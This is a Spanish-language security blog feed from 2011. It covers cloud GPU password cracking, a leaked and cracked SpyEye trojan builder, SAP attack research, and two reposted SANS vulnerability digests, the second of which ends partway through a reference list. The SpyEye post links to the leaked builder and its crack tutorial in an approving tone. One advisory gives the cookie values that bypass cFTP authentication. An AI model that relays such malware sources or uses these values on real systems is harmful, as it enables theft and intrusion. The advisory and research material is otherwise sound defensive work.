Roth escribió sobre el resultado de un experimento en el que ha utilizado un una instancia del Cluster GPU (Unidades de Procesamiento Graphics) de Amazon para descifrar hashes generados utilizando el algoritmo SHA1. En dichas instancias instaló GPU Computing SDK de Nvidia y CUDA-Multiforcer v0.7. (Manual: http://developer.download.nvidia.com/compute/cuda/2_0/docs/NVIDIA_CUDA_Programming_Guide_2.0.pdf)

Roth fue capaz de descifrar 14 contraseñas en 49 minutos, pagando sólo U$S 2,10 (Algo así como CLP $1.000) por una hora de tiempo de cómputo de 2 procesadores NVIDIA Tesla "Fermi" M2050 GPUs.

Las GPU son procesadores diseñados para manejar cálculos complejos utilizados por aplicaciones intensivas de gráficos, tales como juegos de computadora. Pero los científicos y los matemáticos los ha adaptado para llevar a cabo otras aplicaciones de uso general. La oferta de cluster CPU de Amazon permite a los desarrolladores arrendar sus servicios de alto rendimiento en lugar de comprar e instalar el equipo por ellos mismos.

"Creo que el craqueo basados en la nube tiene futuro ya que el alquiler de grupos de GPUs ha reducido el tiempo necesario para romper las contraseñas" dijo. A mi punto de vista, los costos de cracking son bajísimos al momento de romper contraseñas de clientes, que nos han solicitado un Pentesting.

"Lo bueno es que se puede crear un clúster 100 estaciones de trabajo con unos pocos clics y sin necesidad de invertir en una infraestructura propia. A medida que divide la tarea de romper un hash en varias instancias, se puede disminuir el tiempo total, sin tener más costos".

Roth no es el primero en darse cuenta del potencial de los recursos basados en la nube para hacer el trabajo pesado necesario para romper el cifrado. WPACracker es un servicio de cracking de contraseñas basado en la nube y que se puede utilizar para romper contraseñas de Wi-Fi protegidas por WPA y WPA-PSK .

El sitio ofrece un conjunto 40 CPUs que prueban contraseñas contra un diccionario de palabras 135 o 284 millones de contraseñas WPA. El sitio promete ser capaz de descifrar las contraseñas WPA en un promedio de tan sólo 20 minutos a un costo de U$S 17 (Algo así como CLP $8.500) . El servicio es anunciado como una herramienta para pruebas de intrusión y para auditores.

Aquí se puede ver un ejemplo de su funcionamiento y las pruebas que realizó Thomas utilizando esta lista de hash SHA1.

Source & Crack SpyEye 1.3.X

noreply@blogger.com (Pablo Ramirez Hoffmann) — Tue, 16 Aug 2011 19:30:00 +0000

SpyEye, es un kit de malware más avanzado y peligroso de estos días y recientemente a ha incorporado las funcionalidades de Zeus, aquí les dejo un link a youtube de cómo funciona el troyano, según Hispasec:

http://www.youtube.com/watch?v=IJzcguH76Wg

Hoy, por primera vez, se ha filtrado un "parche" para el constructor de SpyEye (para la v3.1.45) según informa damballa. Un investigador de seguridad francés llamado Xyliton, parte del grupo de ingeniería reversa (RED Crew) fue capaz de localizar una copia del constructor de SpyEye 1.3.45 (Descarga http://www.mirrorcreator.com/files/15CTKTBX/) y ha creado un tutorial que permite al lector romper la identificación de hardware (HWID) (Descarga http://www.malwareinfo.org/wp/?p=292), que utiliza SpyExe a través de VMProtect (una herramienta licenciada que bloquea la instalación de software en un dispositivo físico en particular).

El proceso de parcheado y cambio del ID sobreescribe/borra el nombre del operador (que se encuentra entre [ XX ] en la parte superior izquierda, al ejecutar el constructor) por lo que el proceso de llama "zeros-out". Esto dificulta atribuirle un "autor" a cada uno de los binarios encontrados.

SpyEye normalmente costaría alrededor de U$S 10.000 (Buen ahorro) o más. Sin embargo, dado que ya existe el código fuente y el tutorial para romper el DRM, los delincuentes comenzarán a aprovechar el kit masivamente.

Esta fuga es importante, ya que ilustra las técnicas de codificación del equipo Gribo-Demon’s team, los autores de SpyEye, y también asesta un nuevo golpe al ecosistema criminal.

Ahora que existe un crack para el constructor de SpyEye (la herramienta que genera el troyano de SpyEye), los investigadores de seguridad pueden comenzar la búsqueda de vulnerabilidades en la aplicación. Esta es una cosa buena, especialmente si ya se tiene el SDK de SpyEye y sabe que APIs son capaces de ser explotadas con fines defensivos. Este enfoque también ayuda a las empresas de seguridad a comprender mejor las técnicas y métodos detrás de la última versión de SpyEye.

Al mismo tiempo, esta fuga también pone al resto de nosotros sobre aviso porque los aspirantes a criminal puede comenzar a destrozar y mejorar SpyEye.

Los nuevos binarios con "zeros out" (sin autor) ya están siendo vistos en SpyEyeTracker, en menos de 12 horas después de haber sido lanzado el tutorial (http://xylibox.blogspot.com/2011/08/cracking-spyeye-13x.html).

A jugar J

Seguridad en SAP - Back Hat 2011

noreply@blogger.com (Pablo Ramirez Hoffmann) — Mon, 08 Aug 2011 13:36:00 +0000

Un experto en software de seguridad advirtió que fallos en el diseño del software de gestión empresarial de SAP AG pueden permitir a los hackers romper fácilmente en los sistemas SAP de corporaciones a través de Internet.

Alexander Polyakov, director de tecnología de la empresa de software de seguridad ERPScan, dio a conocer las vulnerabilidades el jueves en la conferencia de hacking Black Hat en Las Vegas.

Polyakov fue uno de decenas de expertos de hacking que hicieron presentaciones en la reunión anual, la cual es atendida por profesionales de la seguridad que quieren aprender acerca de las más recientes vulnerabilidades de seguridad.

Él dijo en una entrevista que se puede configurar una consulta utilizando el motor de búsqueda de Google e identificar los sistemas que son vulnerables a ataques

En algunos casos, dijo, podría crear cuentas ficticias para acceder al sistema, permitiendo a estos usuarios un amplio acceso a datos corporativos secretos. También podría eliminar algunos datos valiosos al sobrescribir las bases de datos con “basura”, dijo.

No se pudo contactar con funcionarios de SAP para hacer comentarios.

Polyakov, dijo que el fabricante de software le ha dicho que espera lanzar un programa para corregir la vulnerabilidad de seguridad dentro de una semana.

Además del dejo un PDF donde se explica cómo atacar usuarios de SAP, confeccionado por el mismo señor Polyakov:

Descarga: http://dsecrg.ru/files/pub/pdf/Alexander%20Polyakov%20-%20Attacking%20SAP%20Users%20with%20sapsploit%20Extended.pdf

Como alternativa OpenSource, para realizar pentesting de SAP, dentro del Metasploit, existen una serie de auxiliares y exploit:

http://www.metasploit.com/modules/auxiliary/scanner/sap/

Resumen de Vulnerabilidades - Semana 32

noreply@blogger.com (Pablo Ramirez Hoffmann) — Fri, 05 Aug 2011 23:22:00 +0000

Hola Mundo, como dicen los desarrolladores… después de un tiempo sin publicar material de seguridad, les dejo el resumen de vulnerabilidades de la semana 32.

Aprovecho de agradecer las más de 1.000 visitas registradas en mi blog durante estos últimos 3 meses, con solo una lista de contacto de no más de 30 correos, eso habla que la información consolidada es de interés… ahora me encuentro trabajando en una metodología para enfrentar y cuantificar ataques de Denegación de Servicios Distribuidos, más conocidos como DDoS, a raíz de la gran cantidad de hacktivismo que está presente en la red, y que pone en riesgo la continuidad operativa y mala imagen de las entidades estatales y privadas. Espero tener este material, en su versión BETA, en dos semanas más, si el trabajo me lo permite.

______________________________________________________________________

            @RISK: The Consensus Security Vulnerability Alert

                             Week 32 2011

______________________________________________________________________

Summary of Updates and Vulnerabilities in this Consensus

Platform Number of Updates and Vulnerabilities
-------------------------- -------------------------------------

Third Party Windows Apps                 4 (#1)
Linux                                    1
Unix                     &nb sp; ;              1
Cross Platform                           12
Web Application - Cross Site Scripting   3
Web Application                          4
Network Device                           1
Hardware                                 1

****************************************************************************

Part I -- Critica l Vulner abilities from TippingPoint (www.tippingpoint.com)
Widely Deployed Software
(1) HIGH: RockWell FactoryTalk Memory Corruption Vulnerability

****************************************************************************

Part II -- Comprehensive List of Newly Discovered Vulnerabilities from Qualys
(www.qualys.com)

-- Third Party Windows Apps
11.32.1 - Ipswitch WhatsUp Gold SNMP Response Denial of Service
11.32.2 - ICQ "MUIMessage.dll" File Transfer Denial of Service
11.32.3 - AzeoTech DAQFactory Denial of Service
11.32.4 - Rockwell Automation FactoryTalk Diagnostics Viewer ".ftd" File Remote Code Execution

-- Linux
11.32.5 - Cisco TelePresence Recording Server Default Root Credentials Authentication Bypass

-- Unix
11.32.6 - SCO UnixWare License Policy Manager Daemon "sco_pmd" Unspecified Denial of Service

-- Cross Platform
11.32.7 - EMC Data Protection Advisor Account Credentials Local Information Disclosure
11.32.8 - HP SiteScope Unspecified Cross-Sit e Script ing Vulnerability
11.32.9 - HP OpenView Storage Data Protector Denial of Service
11.32.10 - HP Network Automation Unspecified Cross-Site Scripting and SQL Injection Vulnerabilities
11.32.11 - Libsoup SoupServer Directory Traversal
11.32.12 - FlexNet License Server Manager "lmadmin" Component Heap Buffer Overflow Vulnerability
11.32.13 - ManageEngine ServiceDesk Plus Multiple HTML Injection Vulnerabilities
11.32.14 - Sybase Products Multiple Unspecified Vulnerabilities
11.32.15 - IBM Lotus Symphony Multiple Denial of Service Vulnerabilities and Unspecified Vulnerabilities
11.32.16 - ActFax Server "USER" Command Remote Buffer Overflow Vulnerability
11.32.17 - Skype Facebook Plugin Multiple Cross-Site Scripting Vulnerabilities
11.32.18 - Google Chrome Multiple Security Vulnerabilities

-- Web Application - Cross Site Scripting
11.32.19 - Samba SWAT Cross-Site Request Forgery Vulnerability
11.32.20 - SEO Panel Multiple Cross-Site Scripting Vulnerabilities
11.32.21 - Ecava IntegraXor Multiple Cross-Site Scripting Vulnerabilities

-- Web Application
11.32.22 - MyWebServer dot Character Remote Script File Disclosure
11.32.23 - CFTP Insecure Cookie Authentication Bypass Vulnerability
11.32.24 - Group-Office Command Injection and SQL Injection Vulnerabilities
11.32.25 - ZoneMinder "view" Parameter Local File Include Vulnerability

-- Network Device
11.32.26 - Avaya Secure Access Link Gateway Invalid Domain Servers Information Disclosure Vulnerability

-- Hardware
11.32.27 - Google Search Appliance Unspecified Cross-Site Scripting

______________________________________________________________________

PART I Critical Vulnerabilities
Part I for this issue has been compiled by Josh Bronson at TippingPoint,
a division of HP, as a by-product of that company's continuous effort
to ensure that its intrusion prevention products effectively block
exploits using known vulnerabilities. TippingPoint's analysis is
complemented by input from a council of security managers from twelve
large organizations who confidentially share with SANS the specific
actions they have taken to protect their systems. A detailed description
of the process may be found at
http://www.sans.org/newsletters/risk/#process

*************************************************************

(1) HIGH: RockWell FactoryTalk Memory Corruption Vulnerability
Affected:
Rockwell Automation FactoryTalk Diagnostic ViewerVersions 2.10.x (SPR9 SR2) and earlier

Description: Rockwell Automation has released a patch addressing an
unspecified memory corruption vulnerability in its FactoryTalk
Diagnostics Viewer. FactoryTalk is Rockwell's suite of software products
designed for industrial settings and is designed to facilitate
communication between an enterprise and its manufacturing processes in
industrial settings. FactoryTalk Dianostics logs and makes available
activity, status, warning, and error messages. Details are not publicly
available for this vulnerability, but the attack vector is known. By
enticing a target to open a malicious ".ftd" file, an attacker can
exploit this vulnerability in order to execute arbitrary code on the
target's machine.

Status: vendor confirmed, updates available

References:
Vendor Site
http://www.rockwellautomation.com
SecurityFocus BugTraq ID
http://www.securityfocus.com/bid/48962/

*************************************************************

Part II -- Comprehensive List of Newly Discovered Vulnerabilities from Qualys
(www.qualys.com)

This list is compiled by Qualys ( www.qualys.com ) as part of that
company's ongoing effort to ensure its vulnerability management web
service tests for all known vulnerabilities that can be scanned. As of
this week Qualys scans for 11938 unique vulnerabilities. For this
special SANS community listing, Qualys also includes vulnerabilities
that cannot be scanned remotely.
______________________________________________________________________

11.32.1 CVE: Not Available
Platform: Third Party Windows Apps
Title: Ipswitch WhatsUp Gold SNMP Response Denial Of Service
Description: Ipswitch WhatsUp Gold is a network monitoring and
management solution. Ipswitch WhatsUp Gold is exposed to a denial of
service issue. Specifically, an attacker can crash the "Discovery
Service" by sending crafted SNMP responses during the discovery process.
Ipswitch WhatsUp Gold versions prior to 14.4.1 are affected.
Ref:
http://docs.ipswitch.com/NM/82_WhatsUp Gold v14.4/01_Release Notes/14.4.1/index.htm
______________________________________________________________________

11.32.2 CVE: Not Available
Platform: Third Party Windows Apps
Title: ICQ "MUIMessage.dll" File Transfer Denial of Service
Description: ICQ is an instant messaging client. ICQ is exposed to a
remote denial of service issue. This issue affects the "MUIMessage.dll"
file and arises when handling specially crafted files received through
the "File Transfer" functionality of the application. ICQ 7.5 is
vulnerable; other versions may also be affected.
Ref: http://www.securityfocus.com/bid/48943/references
______________________________________________________________________

11.32.3 CVE: CVE-2011-2956
Platform: Third Party Windows Apps
Title: AzeoTech DAQFactory Denial of Service
Description: AzeoTech DAQFactory is data acquisition and control
application. The application is exposed to a denial of service issue
because it fails to perform authentication for certain signals.
Versions prior to DAQFactory 5.85 are affected.
Ref: http://www.securityfocus.com/bid/48955/discuss
______________________________________________________________________

11.32.4 CVE: CVE-2011-2957
Platform: Third Party Windows Apps
Title: Rockwell Automation FactoryTalk Diagnostics Viewer ".ftd" File
Remote Code Execution
Description: FactoryTalk Diagnostics Viewer is a part of FactoryTalk
Services Platform that provides diagnosis solutions to the products on
the platform. The application is exposed to a remote code execution
issue. This issue occurs because of an unspecified memory corruption
issue which is triggered when processing a specially crafted
configuration (".ftd") file. Versions prior to FactoryTalk
Diagnostics Viewer 2.30.00 are affected.
Ref: http://www.securityfocus.com/bid/48962/references
______________________________________________________________________

11.32.5 CVE: CVE-2011-2555
Platform: Linux
Title: Cisco TelePresence Recording Server Default Root Credentials
Authentication Bypass
Description: Cisco TelePresence Recording Server is an application for
remote communication. The application is exposed to a remote
authentication bypass issue. Cisco TelePresence Recording Server
Software Release 1.7.2 is affected.
Ref: http://www.cisco.com/warp/public/707/cisco-sa-20110729-tp.shtml
______________________________________________________________________

11.32.6 CVE: Not Available
Platform: Unix
Title: SCO UnixWare License Policy Manager Daemon "sco_pmd"
Unspecified Denial of Service
Description: UnixWare is a UNIX operating system maintained by SCO
Group. UnixWare is exposed to a denial of service issue caused
by an unspecified error in the License Policy Manager Daemon
"sco_pmd". UnixWare 7.1.4 is vulnerable and other versions may also be
affected.
Ref:
ftp://ftp.sco.com/pub/unixware7/714/security/p535239a_uw7/p535239a_uw7.txt
______________________________________________________________________

11.32.7 CVE: CVE-2011-1742
Platform: Cross Platform
Title: EMC Data Protection Advisor Account Credentials Local
Information Disclosure
Description: EMC Data Protection Advisor manages data protection
environments. The application is exposed to a local information
disclosure issue. Specifically, this issue occurs because under
certain circumstances, the configuration file of the application
discloses the sensitive account credentials in plain text form.
Versions prior to EMC Data Protection Advisor 5.8.1 are affected.
Ref: http://www.securityfocus.com/archive/1/519012
______________________________________________________________________

11.32.8 CVE: CVE-2011-2400
Platform: Cross Platform
Title: HP SiteScope Unspecified Cross-Site Scripting Vulnerability
Description: HP SiteScope is an agent-less monitoring application. The
application is exposed to an unspecified cross-site scripting issue
because it fails to properly sanitize user-supplied input before using
it in dynamically generated content. HP SiteScope versions 11.x, 10.x,
9.x, and prior are affected.
Ref:
http://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c02940969&ac.admitted=1311850160211.876444892.199480143
______________________________________________________________________

11.32.9 CVE: CVE-2011-2399
Platform: Cross Platform
Title: HP OpenView Storage Data Protector Denial of Service
Description: HP OpenView Storage Data Protector is a commercial
data management product for backup and recovery operations. The
application is exposed to a remote denial of service issue.
Specifically, this issue affects the media management daemon
component. HP OpenView Storage Data Protector versions 6.0, 6.10, and
6.11 are affected.
Ref:
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02940981
______________________________________________________________________

11.32.10 CVE: CVE-2011-2402,CVE-2011-2403
Platform: Cross Platform
Title: HP Network Automation Unspecified Cross-Site S cripting and SQL
Injection Vulnerabilities
Description: HP Network Automation is an application for managing
network data. The application is exposed to multiple issues. An
unspecified cross-site scripting issue is caused by a failure to properly
sanitize user-supplied input. An SQL injection issue is caused by a failure
to properly sanitize user-supplied input before using it in an
SQL query. HP Network Automation versions 7.2x, v7.5x, v7.6x, v9.0 and
v9.10 are affected.
Ref: http://www.securityfocus.com/archive/1/519054
______________________________________________________________________

11.32.11 CVE: CVE-2011-2524
Platform: Cross Platform
Title: Libsoup SoupServer Directory Traversal
Description: Libsoup is an HTTP client server library for GNOME. The
application is exposed to a directory traversal issue because it fails
to sufficiently sanitize user-supplied input. The problem affects the
"SoupServer" component and can be exploited by sending a specially
crafted URI request containing directory traversal strings to the
affected server. libsoup 2.4 is vulnerable and other versions may also
be affected.
Ref: http://www.securityfocus.com/bid/48926/discuss
______________________________________________________________________

11.32.12 CVE: Not Available
Platform: Cross Platform
Title: FlexNet License Server Manager "lmadmin" Component Heap
Buffer Overflow Vulnerability
Description: FlexNet License Server Manager is a license management
application. The application is exposed to a remote heap-based buffer
overflow issue that affects the "lmadmin" component
when handling packets that include opcode 0x2f. Specifically, the
application fails to perform adequate boundary checks on user-supplied
data before copying it into a fixed size buffer. All versions of
FlexNet License Server Manager are affected.
Ref: http://www.securityfocus.com/archive/1/519060
______________________________________________________________________

11.32.13 CVE: Not Available
Platform: Cross Platform
Title: ManageEngine ServiceDesk Plus Multiple HTML Injection
Vulnerabilities
Description: ManageEngine ServiceDesk Plus is a helpdesk application
that is available for Windows and Linux. The application is exposed to
multiple HTML injection issues because it fails to properly sanitize
user supplied input passed to the following scripts and parameters:
"SetUpWizard.do":"Name", "SiteDef.do":"Site name",
"GroupResourcesDef.do":"Group Name", "LicenseAgreement.do":"Agreement
Number", "ManualNodeAddition.do":"Name". ManageEngine ServiceDesk Plus
8.0 is vulnerable; other versions may also be affected.
Ref: http://www.securityfocus.com/bid/48928/discuss
______________________________________________________________________

11.32.14 CVE: Not Available
Platform: Cross Platform
Title: Sybase Products Multiple Unspecified Vulnerabilities
Description: Multiple Sybase products are exposed to multiple
unspecified issues. An unspecified error occurs in the Open Server
component when handling Tabular Data Stream packets. An unspecified
error occurs in the Open Server component when handling certain login
packets. Sybase Adaptive Server Enterprise 15, Sybase EAServer 6, Sybase
ECDA 15, Sybase MFC/DC 15, Sybase OpenSwitch 15, Sybase Replication
Server 15 are affected.
Ref: http://www.sybase.com/detail?id=1094235
______________________________________________________________________

11.32.15 CVE:
CVE-2011-2893,CVE-2011-2888,CVE-2011-2887,CVE-2011-2886,CVE-2011-2885
CVE-2011-2884
Platform: Cross Platform
Title: IBM Lotus Symphony Multiple Denial of Service Vulnerabilities
and Unspecified Vulnerabilities
Description: IBM Lotus Symphony is productivity software that contains
three applications: Lotus Symphony Documents, Lotus Symphony
Spreadsheets, and Lotus Symphony Presentations. IBM Lotus Symphony is
exposed to multiple unspecified issues (CVE-2011-2884) and multiple
denial of service issues (CVE-2011-2885, CVE-2011-2886).
IBM Lotus Symphony 3 versions prior to Fix Pack 3 are affected.
Ref: http://www.securityfocus.com/bid/48936/references
______________________________________________________________________

11.32.16 CVE: Not Available
Platform: Cross Platform
Title: ActFax Server "USER" Command Remote Buffer Overflow
Vulnerability
Description: ActFax is a fax server for Windows and Unix. The
application is exposed to a remote buffer overflow issue because it
fails to perform adequate boundary checks on user-supplied data. This
issue occurs when handling a specially crafted "USER" command. ActFax
versions 4.27 and prior are affected.
Ref: http://www.securityfocus.com/bid/48947/references
______________________________________________________________________

11.32.17 CVE: Not Available
Platform: Cross Platform
Title: Skype Facebook Plugin Multiple Cross-Site Scripting
Vulnerabilities
Description: Skype is peer-to-peer communications software that
supports internet-based voice communications. Skype is exposed to
multiple cross-site scripting issues in the facebook plugin because
the application fails to sanitize user-supplied input to the "comment"
and "wall posting" fields. Versions prior to Skype 5.5 are affected.
Ref: http://www.securityfocus.com/bid/48950/references
______________________________________________________________________

11.32.18 CVE:
CVE-2011-2819,CVE-2011-2818,CVE-2011-2805,CVE-2011-2804,CVE-2011-2803
CVE-2011-2802,CVE-2011-2801,CVE-2011-2800,CVE-2011-2799,CVE-2011-2798
CVE-2011-2797,CVE-2011-2796,CVE-2011-2795,CVE-2011-2794,CVE-2011-2793
CVE-2011-2792,CVE-2011-2791,CVE-2011-2790,CVE-2011-2789,CVE-2011-2788
CVE-2011-2787,CVE-2011-2786,CVE-2011-2785,CVE-2011-2784,CVE-2011-2783
CVE-2011-2782,CVE-2011-2361,CVE-2011-2360,CVE-2011-2359,CVE-2011-2358
Platform: Cross Platform
Title: Google Chrome Multiple Security Vulnerabilities
Description: Google Chrome is a web browser for multiple platforms.
The application is exposed to multiple security issues. See reference
for further details. Versions prior to Chrome 13.0.782.107 are affected.
Ref:
http://googlechromereleases.blogspot.com/2011/08/stable-channel-update.html
______________________________________________________________________

11.32.19 CVE: CVE-2011-2522
Platform: Web Application - Cross Site Scripting
Title: Samba SWAT Cross-Site Request Forgery Vulnerability
Description: SAMBA SWAT (Samba Web Administration Tool) is an
administration tool for Samba. SAMBA SWAT is exposed to multiple
cross-site request forgery issues. These issues can be exploited by
manipulating the following parameters: "smbd_start", "smbd_stop",
"smbd_restart", "nmbd_start", "nmbd_stop", "nmbd_restart". SAMBA SWAT
3.0 through 3.5.9 are affected.
Ref: http://www.samba.org/samba/security/CVE-2011-2522
______________________________________________________________________

11.32.20 CVE: Not Available
Platform: Web Application - Cross Site Scripting
Title: SEO Panel Multiple Cross-Site Scripting Vulnerabilities
Description: SEO Panel is a search engine optimization tool
implemented in PHP. The application is exposed to multiple cross-site
scripting issues because it fails to properly sanitize user-supplied
input submitted to multiple scripts and parameters. SEO Panel
3.0.0 is vulnerable; other versions may also be affected.
Ref: http://www.securityfocus.com/bid/48933/references
______________________________________________________________________

11.32.21 CVE: Not Available
Platform: Web Application - Cross Site Scripting
Title: Ecava IntegraXor Multiple Cross-Site Scripting Vulnerabilities
Description: Ecava IntegraXor is web-based HMI/SCADA software. The
application is exposed to multiple cross-site scripting issues because
it fails to properly sanitize user-supplied input. Ecava IntegraXor
versions prior to 3.60.4080 are affected.
Ref: http://www.securityfocus.com/bid/48958/references
______________________________________________________________________

11.32.22 CVE: Not Available
Platform: Web Application
Title: MyWebServer dot Character Remote Script File Disclosure
Description: MyWebServer is a peer-to-peer web, file and application
server. The application is exposed to a file disclosure issue because
it fails to properly sanitize user-supplied input. Specifically, an
attacker can obtain the source code of a file by providing a dot "."
or " " character at the end of the filename in an HTTP request.
MyWebServer 1.0.3 is vulnerable; other versions may also be affected.
Ref: http://www.securityfocus.com/bid/48921/references
______________________________________________________________________

11.32.23 CVE: Not Available
Platform: Web Application
Title: CFTP Insecure Cookie Authentication Bypass Vulnerability
Description: CFTP is a web-based application implemented in PHP. The
application is exposed to an authentication bypass issue because it
fails to adequately verify user-supplied input used for cookie-based
authentication. Specifically, attackers can gain administrative access
to the application by setting the "access" cookie parameter to "admin"
and "userlevel" cookie parameter to "9". cFTP r80 is vulnerable; other
versions may also be affected.
Ref: http://www.securityfocus.com/bid/48931/discuss
______________________________________________________________________

11.32.24 CVE: Not Available
Platform: Web Application
Title: Group-Office Command Injection and SQL Injection
Vulnerabilities
Description: Group-Office is a PHP-based content manager. The
application is exposed to an SQL injection issue and a command
injection issue because it fails to properly sanitize user-supplied
input to unspecified parameters and scripts. Versions prior to
Group-Office 3.7.25 are affected.
Ref: http://www.securityfocus.com/bid/48941/references
______________________________________________________________________

11.32.25 CVE: Not Available
Platform: Web Application
Title: ZoneMinder "view" Parameter Local File Include Vulnerability
Description: ZoneMinder is a freely available application designed to
control and record video from security cameras. It contains a
web-based administrative application implemented in PHP. The
application is exposed to a local file include issue because it fails
to properly sanitize user supplied-input submitted to the "view"
parameter in the "web/index.php" script. Versions prior to ZoneMinder
1.24.4 are affected.
Ref: http://www.securityfocus.com/bid/48949/references
______________________________________________________________________

11.32.26 CVE: Not Available
Platform: Network Device
Title: Avaya Secure Access Link Gateway Invalid Domain Servers
Information Disclosure Vulnerability
Description: Avaya Secure Access Link is a gateway that provides
security solutions for remote access management. The application is
exposed to an information disclosure issue. Specifically, by default
the application incorrectly points the Secondary Core Server URL and
the Remote Server URL to "secavaya.com" and "secaxeda.com"
respectively; these domains are invalid. This can result in the
application sending sensitive information such as alarms or logs to
the email addresses of these invalid domain severs. Secure Access Link
1.5, 1.8, and 2.0 are affected.
Ref: http://support.avaya.com/css/P8/documents/100140483
______________________________________________________________________

11.32.27 CVE: CVE-2011-1339
Platform: Hardware
Title: Google Search Appliance Unspecified Cross-Site Scripting
Description: Google Search Appliance is a commercial search device
produced by Google. Google Search Appliance is exposed to a cross-site
scripting issue because it fails to properly sanitize certain
unspecified user-supplied input. Versions prior to
Google Search Appliance 5.0 are affected.
Ref: http://www.securityfocus.com/bid/48957/discuss
______________________________________________________________________

Resumen de Vulnerabilidades - Semana 31

noreply@blogger.com (Pablo Ramirez Hoffmann) — Thu, 28 Jul 2011 20:48:00 +0000

______________________________________________________________________

@RISK: The Consensus Security Vulnerability Alert

Week 31 2011

______________________________________________________________________

Summary of Updates and Vulnerabilities in this Consensus

Platform Number of Updates and Vulnerabilities

- ------------------------ -------------------------------------

Other Microsoft Products 1

Third Party Windows Apps 5 (#2)

Linux 2

Cross Platform 7 (#1)

Web Application - Cross Site Scripting 2

Web Application - SQL Injection 2

Web Application 6

Hardware 2

****************************************************************************

Part I -- Critical Vulnerabilities from TippingPoint (www.tippingpoint.com) Widely Deployed Software

(1) HIGH: Apple Safari Multiple Vulnerabilities

(2) MEDIUM: Foxit Reader ActiveX Control Buffer Overflow

*************************** Sponsored Link: ********************************

1) IN CASE YOU MISSED IT...Analyst Webcast: Protecting Access and Data:

A Review of DigitalPersona Pro Version 5.1 To view now, go to:

http://www.sans.org/info/82919

****************************************************************************

Part II -- Comprehensive List of Newly Discovered Vulnerabilities from Qualys

(www.qualys.com)

-- Other Microsoft Products

11.31.1 - Internet Explorer EUC-JP Encoded Characters Cross-Site Scripting

-- Third Party Windows Apps

11.31.2 - Foxit Reader "FoxitReaderOCX" ActiveX Control "OpenFile()" Buffer Overflow

11.31.3 - Kingsoft Antivirus "KisKrnl.sys" Driver Local Privilege Escalation

11.31.4 - CiscoKits CCNA TFTP Server Long Filename Remote Denial of Service

11.31.5 - Download Accelerator Plus ".m3u" File Buffer Overflow

11.31.6 - Computer Associates ARCserve D2D "homepageServlet" Servlet Information Disclosure

-- Linux

11.31.7 - SystemTap Multiple Local Privilege Escalation Vulnerabilities

11.31.8 - IcedTea6 and IcedTea-Web Information Disclosure and Security Bypass Vulnerabilities

-- Cross Platform

11.31.9 - Apple Safari Multiple Security Vulnerabilities

11.31.10 - Likewise Open lsassd Service SQL Injection

11.31.11 - BusyBox "udhcpc" Shell Characters in Response Remote Code Execution

11.31.12 - FreeRADIUS Revoked Certificate Authentication Bypass Vulnerability

11.31.13 - OpenSAML XML Signature Wrapping Security Vulnerability

11.31.14 - ClamAV Hash Manager Off-By-One Denial of Service

11.31.15 - ICQ Profile HTML Injection Vulnerability

-- Web Application - Cross Site Scripting

11.31.16 - Tiki Wiki CMS Groupware "snarf_ajax.php" Cross-Site Scripting

11.31.17 - Koha OPAC Multiple Cross-Site Scripting Vulnerabilities

-- Web Application - SQL Injection

11.31.18 - vBulletin "messagegroupid" Parameter SQL Injection Vulnerability

11.31.19 - ExtCalendar "username" and "password" SQL Injection Vulnerabilities

-- Web Application

11.31.20 - PRADO "TActiveFileUpload.php" Directory Traversal Vulnerability

11.31.21 - Free Help Desk Multiple Unspecified Vulnerabilities

11.31.22 - cgit HTML Injection Vulnerability

11.31.23 - phpMyAdmin Multiple Remote Vulnerabilities

11.31.24 - Musicbox Cross-Site Scripting and SQL Injection Vulnerabilities

11.31.25 - ManageEngine ServiceDesk Plus Local Privilege Escalation

-- Hardware

11.31.26 - Cisco SA 500 Series Appliances Web Management Interface SQL Injection

11.31.27 - Dlink DPH 150SE/E/F1 IP Phones Multiple Remote Vulnerabilities

______________________________________________________________________

PART I Critical Vulnerabilities

Part I for this issue has been compiled by Josh Bronson at TippingPoint, a division of HP, as a by-product of that company's continuous effort to ensure that its intrusion prevention products effectively block exploits using known vulnerabilities. TippingPoint's analysis is complemented by input from a council of security managers from twelve large organizations who confidentially share with SANS the specific actions they have taken to protect their systems. A detailed description of the process may be found at http://www.sans.org/newsletters/risk/#process

*************************************************************

(1) HIGH: Apple Safari Multiple Vulnerabilities

Affected:

Safari 5.0.6

Safari 5.1

Description: Apple has released patches addressing multiple vulnerabilities in its Safari web browser. The vulnerabilities include use-after-free flaws in WebKit's implementation of the FrameOwner element, Scalar Vector Graphics (SVG) markers, DOM attribute copying, and implicitly defined styles for HTML. Other vulnerabilities listed by Apple include problems in underlying libraries like CoreGraphics that could be exploited via multiple vectors. By enticing a target to view a malicious site, an attacker could exploit these vulnerabilities in order to execute arbitrary code on the target's machine.

Status: vendor confirmed, updates available

References:

Vendor Site

http://www.apple.com

Apple Security Advisory

http://support.apple.com/kb/HT4808

Zero Day Initiative Advisories

http://www.zerodayinitiative.com/advisories/ZDI-11-228/

http://www.zerodayinitiative.com/advisories/ZDI-11-239/

http://www.zerodayinitiative.com/advisories/ZDI-11-240/

http://www.zerodayinitiative.com/advisories/ZDI-11-241/

http://www.zerodayinitiative.com/advisories/ZDI-11-242/

http://www.zerodayinitiative.com/advisories/ZDI-11-243/

SecurityFocus BugTraq ID

http://www.securityfocus.com/bid/43228

http://www.securityfocus.com/bid/46262

http://www.securityfocus.com/bid/46614

http://www.securityfocus.com/bid/46703

http://www.securityfocus.com/bid/46785

http://www.securityfocus.com/bid/47020

http://www.securityfocus.com/bid/47029

http://www.securityfocus.com/bid/47604

http://www.securityfocus.com/bid/47668

http://www.securityfocus.com/bid/48416

http://www.securityfocus.com/bid/48426

http://www.securityfocus.com/bid/48427

http://www.securityfocus.com/bid/48429

http://www.securityfocus.com/bid/48437

http://www.securityfocus.com/bid/48820

http://www.securityfocus.com/bid/48823

http://www.securityfocus.com/bid/48825

http://www.securityfocus.com/bid/48827

http://www.securityfocus.com/bid/48828

http://www.securityfocus.com/bid/48831

http://www.securityfocus.com/bid/48832

http://www.securityfocus.com/bid/48833

http://www.securityfocus.com/bid/48837

http://www.securityfocus.com/bid/48839

http://www.securityfocus.com/bid/48840

http://www.securityfocus.com/bid/48841

http://www.securityfocus.com/bid/48842

http://www.securityfocus.com/bid/48843

http://www.securityfocus.com/bid/48844

http://www.securityfocus.com/bid/48845

http://www.securityfocus.com/bid/48846

http://www.securityfocus.com/bid/48847

http://www.securityfocus.com/bid/48848

http://www.securityfocus.com/bid/48849

http://www.securityfocus.com/bid/48850

